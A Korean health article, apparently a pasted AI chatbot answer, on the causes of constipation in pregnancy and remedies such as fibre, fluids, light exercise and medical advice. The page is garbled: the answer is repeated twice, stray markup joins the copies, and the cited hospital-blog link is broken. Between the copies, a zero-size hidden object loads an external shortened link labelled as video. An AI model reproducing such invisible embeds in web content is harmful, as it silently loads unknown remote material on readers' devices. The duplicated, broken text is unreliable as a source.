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<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:27">임산부 변비, 왜 생기고 어떻게 해결할까요?</h2><p data-sourcepos="3:1-3:94">임신 중 변비는 많은 임산부들이 겪는 흔한 증상입니다. 호르몬 변화, 자궁의 성장, 철분제 복용 등 다양한 원인으로 인해 장 운동이 느려지고 변비가 발생할 수 있습니다.</p><h3 data-sourcepos="5:1-5:14">임산부 변비의 원인</h3><ul data-sourcepos="7:1-12:0">
<li data-sourcepos="7:1-7:76"><strong>호르몬 변화:</strong> 프로게스테론이라는 호르몬은 자궁을 안정시키는 역할을 하지만, 동시에 장 운동을 느리게 만들어 변비를 유발합니다.</li>
<li data-sourcepos="8:1-8:58"><strong>자궁의 성장:</strong> 자궁이 커지면서 장을 압박하여 장 운동을 방해하고 변비를 악화시킬 수 있습니다.</li>
<li data-sourcepos="9:1-9:75"><strong>식습관 변화:</strong> 입덧으로 인해 식욕이 없거나 특정 음식만 선호하게 되면서 식이섬유 섭취가 부족해져 변비가 발생할 수 있습니다.</li>
<li data-sourcepos="10:1-10:52"><strong>철분제 복용:</strong> 빈혈 예방을 위해 철분제를 복용하는 경우 변비가 나타날 수 있습니다.</li>
<li data-sourcepos="11:1-12:0"><strong>운동 부족:</strong> 임신 중 활동량이 줄어들면서 장 운동이 저하되어 변비가 발생할 수 있습니다.</li>
</ul><h3 data-sourcepos="13:1-13:16">임산부 변비 해결 방법</h3><ol data-sourcepos="15:1-28:0">
<li data-sourcepos="15:1-19:0">
<p data-sourcepos="15:4-15:12"><strong>식이요법:</strong></p>
<ul data-sourcepos="16:4-19:0">
<li data-sourcepos="16:4-16:81"><strong>식이섬유 섭취:</strong> 채소, 과일, 통곡물 등 식이섬유가 풍부한 음식을 충분히 섭취하여 변의 양을 늘리고 장 운동을 활발하게 해줍니다.</li>
<li data-sourcepos="17:4-17:56"><strong>수분 섭취:</strong> 하루 8잔 이상의 물을 마셔 변을 부드럽게 하고 배변을 원활하게 합니다.</li>
<li data-sourcepos="18:4-19:0"><strong>프로바이오틱스:</strong> 유산균이 함유된 요구르트나 김치 등을 섭취하여 장 건강을 개선하고 변비를 완화하는 데 도움을 줄 수 있습니다.</li>
</ul>
</li>
<li data-sourcepos="20:1-24:0">
<p data-sourcepos="20:4-20:15"><strong>생활습관 개선:</strong></p>
<ul data-sourcepos="21:4-24:0">
<li data-sourcepos="21:4-21:66"><strong>규칙적인 운동:</strong> 가벼운 산책, 요가 등 임산부에게 적합한 운동을 꾸준히 하여 장 운동을 활성화시킵니다.</li>
<li data-sourcepos="22:4-22:67"><strong>배변 습관:</strong> 화장실에 갈 때 휴대폰 사용을 자제하고 편안한 자세로 충분한 시간을 갖고 배변을 시도합니다.</li>
<li data-sourcepos="23:4-24:0"><strong>스트레스 관리:</strong> 스트레스는 변비를 악화시킬 수 있으므로, 충분한 휴식을 취하고 스트레스를 해소할 수 있는 방법을 찾는 것이 중요합니다.</li>
</ul>
</li>
<li data-sourcepos="25:1-28:0">
<p data-sourcepos="25:4-25:11"><strong>보조제:</strong></p>
<ul data-sourcepos="26:4-28:0">
<li data-sourcepos="26:4-26:64"><strong>철분제:</strong> 변비가 심할 경우 의사와 상담하여 철분제 종류를 바꾸거나 복용 시간을 조절할 수 있습니다.</li>
<li data-sourcepos="27:4-28:0"><strong>변비약:</strong> 의사의 처방을 받아 임산부가 복용할 수 있는 안전한 변비약을 사용할 수 있습니다.</li>
</ul>
</li>
</ol><h3 data-sourcepos="29:1-29:9">중요한 점</h3><ul data-sourcepos="31:1-33:0">
<li data-sourcepos="31:1-31:97"><strong>자가진단보다는 전문가와 상담:</strong> 임신 중 변비가 심하거나 오래 지속될 경우, 반드시 산부인과 의사와 상담하여 정확한 진단을 받고 적절한 치료를 받는 것이 중요합니다.</li>
<li data-sourcepos="32:1-33:0"><strong>안전한 방법 선택:</strong> 임의로 약을 복용하거나 무리한 운동을 하는 것은 태아에게 해를 끼칠 수 있으므로 주의해야 합니다.</li>
</ul><p data-sourcepos="34:1-34:98"><strong>주의:</strong> 위에 제시된 정보는 일반적인 정보이며, 개인의 건강 상태에 따라 적용 방식이 다를 수 있습니다. 반드시 의사와 상담하여 자신에게 맞는 방법을 찾는 것이 좋습니다.</p><p data-sourcepos="36:1-36:30"><strong>더 궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="38:1-38:11"><strong>관련 정보:</strong></p><ul data-sourcepos="39:1-40:0">
<li data-sourcepos="39:1-40:0"><strong>분당차여성병원 산부인과 김영란 교수 블로그:</strong> <response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c2337808022="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_51941615caf5f6fc&quot;,&quot;c_7d2d056b2cca6113&quot;,null,&quot;rc_144fbd0f17d23ac4&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]]" s:///bundangwoman/222090240258">https:///bundangwoman/222090240258</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
</ul><p data-sourcepos="41:1-41:71"><strong>키워드:</strong> 임산부 변비, 임신 중 변비, 변비 해결 방법, 임산부 변비 원인, 임산부 변비에 좋은 음식, 임산부 변비 운동</p><p data-sourcepos="43:1-43:45"><strong>이 정보가 도움이 되셨나요? 다른 궁금한 점이 있다면 언제든지 물어보세요.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cfsN" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:27">임산부 변비, 왜 생기고 어떻게 해결할까요?</h2><p data-sourcepos="3:1-3:94">임신 중 변비는 많은 임산부들이 겪는 흔한 증상입니다. 호르몬 변화, 자궁의 성장, 철분제 복용 등 다양한 원인으로 인해 장 운동이 느려지고 변비가 발생할 수 있습니다.</p><h3 data-sourcepos="5:1-5:14">임산부 변비의 원인</h3><ul data-sourcepos="7:1-12:0">
<li data-sourcepos="7:1-7:76"><strong>호르몬 변화:</strong> 프로게스테론이라는 호르몬은 자궁을 안정시키는 역할을 하지만, 동시에 장 운동을 느리게 만들어 변비를 유발합니다.</li>
<li data-sourcepos="8:1-8:58"><strong>자궁의 성장:</strong> 자궁이 커지면서 장을 압박하여 장 운동을 방해하고 변비를 악화시킬 수 있습니다.</li>
<li data-sourcepos="9:1-9:75"><strong>식습관 변화:</strong> 입덧으로 인해 식욕이 없거나 특정 음식만 선호하게 되면서 식이섬유 섭취가 부족해져 변비가 발생할 수 있습니다.</li>
<li data-sourcepos="10:1-10:52"><strong>철분제 복용:</strong> 빈혈 예방을 위해 철분제를 복용하는 경우 변비가 나타날 수 있습니다.</li>
<li data-sourcepos="11:1-12:0"><strong>운동 부족:</strong> 임신 중 활동량이 줄어들면서 장 운동이 저하되어 변비가 발생할 수 있습니다.</li>
</ul><h3 data-sourcepos="13:1-13:16">임산부 변비 해결 방법</h3><ol data-sourcepos="15:1-28:0">
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<p data-sourcepos="15:4-15:12"><strong>식이요법:</strong></p>
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<li data-sourcepos="16:4-16:81"><strong>식이섬유 섭취:</strong> 채소, 과일, 통곡물 등 식이섬유가 풍부한 음식을 충분히 섭취하여 변의 양을 늘리고 장 운동을 활발하게 해줍니다.</li>
<li data-sourcepos="17:4-17:56"><strong>수분 섭취:</strong> 하루 8잔 이상의 물을 마셔 변을 부드럽게 하고 배변을 원활하게 합니다.</li>
<li data-sourcepos="18:4-19:0"><strong>프로바이오틱스:</strong> 유산균이 함유된 요구르트나 김치 등을 섭취하여 장 건강을 개선하고 변비를 완화하는 데 도움을 줄 수 있습니다.</li>
</ul>
</li>
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<p data-sourcepos="20:4-20:15"><strong>생활습관 개선:</strong></p>
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<li data-sourcepos="21:4-21:66"><strong>규칙적인 운동:</strong> 가벼운 산책, 요가 등 임산부에게 적합한 운동을 꾸준히 하여 장 운동을 활성화시킵니다.</li>
<li data-sourcepos="22:4-22:67"><strong>배변 습관:</strong> 화장실에 갈 때 휴대폰 사용을 자제하고 편안한 자세로 충분한 시간을 갖고 배변을 시도합니다.</li>
<li data-sourcepos="23:4-24:0"><strong>스트레스 관리:</strong> 스트레스는 변비를 악화시킬 수 있으므로, 충분한 휴식을 취하고 스트레스를 해소할 수 있는 방법을 찾는 것이 중요합니다.</li>
</ul>
</li>
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<p data-sourcepos="25:4-25:11"><strong>보조제:</strong></p>
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<li data-sourcepos="27:4-28:0"><strong>변비약:</strong> 의사의 처방을 받아 임산부가 복용할 수 있는 안전한 변비약을 사용할 수 있습니다.</li>
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</ol><h3 data-sourcepos="29:1-29:9">중요한 점</h3><ul data-sourcepos="31:1-33:0">
<li data-sourcepos="31:1-31:97"><strong>자가진단보다는 전문가와 상담:</strong> 임신 중 변비가 심하거나 오래 지속될 경우, 반드시 산부인과 의사와 상담하여 정확한 진단을 받고 적절한 치료를 받는 것이 중요합니다.</li>
<li data-sourcepos="32:1-33:0"><strong>안전한 방법 선택:</strong> 임의로 약을 복용하거나 무리한 운동을 하는 것은 태아에게 해를 끼칠 수 있으므로 주의해야 합니다.</li>
</ul><p data-sourcepos="34:1-34:98"><strong>주의:</strong> 위에 제시된 정보는 일반적인 정보이며, 개인의 건강 상태에 따라 적용 방식이 다를 수 있습니다. 반드시 의사와 상담하여 자신에게 맞는 방법을 찾는 것이 좋습니다.</p><p data-sourcepos="36:1-36:30"><strong>더 궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="38:1-38:11"><strong>관련 정보:</strong></p><ul data-sourcepos="39:1-40:0">
<li data-sourcepos="39:1-40:0"><strong>분당차여성병원 산부인과 김영란 교수 블로그:</strong> <response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c2337808022="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[["r_51941615caf5f6fc","c_7d2d056b2cca6113",null,"rc_144fbd0f17d23ac4",null,null,"ko",null,null,null,null,1,0]]" s:///bundangwoman/222090240258">https:///bundangwoman/222090240258</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
</ul><p data-sourcepos="41:1-41:71"><strong>키워드:</strong> 임산부 변비, 임신 중 변비, 변비 해결 방법, 임산부 변비 원인, 임산부 변비에 좋은 음식, 임산부 변비 운동</p><p data-sourcepos="43:1-43:45"><strong>이 정보가 도움이 되셨나요? 다른 궁금한 점이 있다면 언제든지 물어보세요.</strong></p></div>
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